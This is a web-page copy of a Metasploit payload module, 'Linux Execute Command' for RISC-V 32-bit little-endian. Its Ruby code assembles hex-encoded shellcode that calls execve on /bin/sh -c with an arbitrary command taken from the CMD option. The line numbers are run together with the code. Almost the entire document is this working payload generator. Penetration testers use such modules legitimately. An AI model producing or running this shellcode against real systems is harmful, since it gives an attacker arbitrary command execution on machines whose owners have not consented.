Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/riscv32le/exec.rb
Views: 11777
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 9678include Msf::Payload::Single9include Msf::Payload::Linux1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Linux Execute Command',16'Description' => 'Execute an arbitrary command',17'Author' => [18'modexp', # cmd.s execve RISC-V 64-bit shellcode19'bcoles', # metasploit20],21'License' => BSD_LICENSE,22'Platform' => 'linux',23'Arch' => ARCH_RISCV32LE,24'References' => [25['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],26['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'],27]28)29)30register_options([31OptString.new('CMD', [ true, 'The command string to execute' ]),32])33end3435#36# Returns the command string to use for execution37#38def command_string39datastore['CMD'] || ''40end4142def generate(_opts = {})43shellcode =44[0xfe010113].pack('V*') + # addi sp,sp,-3245[0x0dd00893].pack('V*') + # li a7,22146[0x6e696537].pack('V*') + # lui a0,0x6e69647[0x22f50513].pack('V*') + # addi a0,a0,559 # 6e69622f <__global_pointer$+0x6e6848af>48[0x00a12023].pack('V*') + # sw a0,0(sp)49[0x00687537].pack('V*') + # lui a0,0x68750[0x32f50513].pack('V*') + # addi a0,a0,815 # 68732f <__global_pointer$+0x6759af>51[0x00a12223].pack('V*') + # sw a0,4(sp)52[0x00010513].pack('V*') + # mv a0,sp53[0x000065b7].pack('V*') + # lui a1,0x654[0x32d58593].pack('V*') + # addi a1,a1,813 # 632d <_start-0x9d27>55[0x00b12423].pack('V*') + # sw a1,8(sp)56[0x00810593].pack('V*') + # addi a1,sp,857[0x00000617].pack('V*') + # auipc a2,0x058[0x02460613].pack('V*') + # addi a2,a2,36 # 100ac <cmd>59[0x00a12623].pack('V*') + # sw a0,12(sp)60[0x00b12823].pack('V*') + # sw a1,16(sp)61[0x00c12a23].pack('V*') + # sw a2,20(sp)62[0x00012c23].pack('V*') + # sw zero,24(sp)63[0x00c10593].pack('V*') + # addi a1,sp,1264[0x00000613].pack('V*') + # li a2,065[0x00000073].pack('V*') + # ecall66command_string + "\x00"6768# align our shellcode to 4 bytes69shellcode += "\x00" while shellcode.bytesize % 4 != 07071super.to_s + shellcode72end73end747576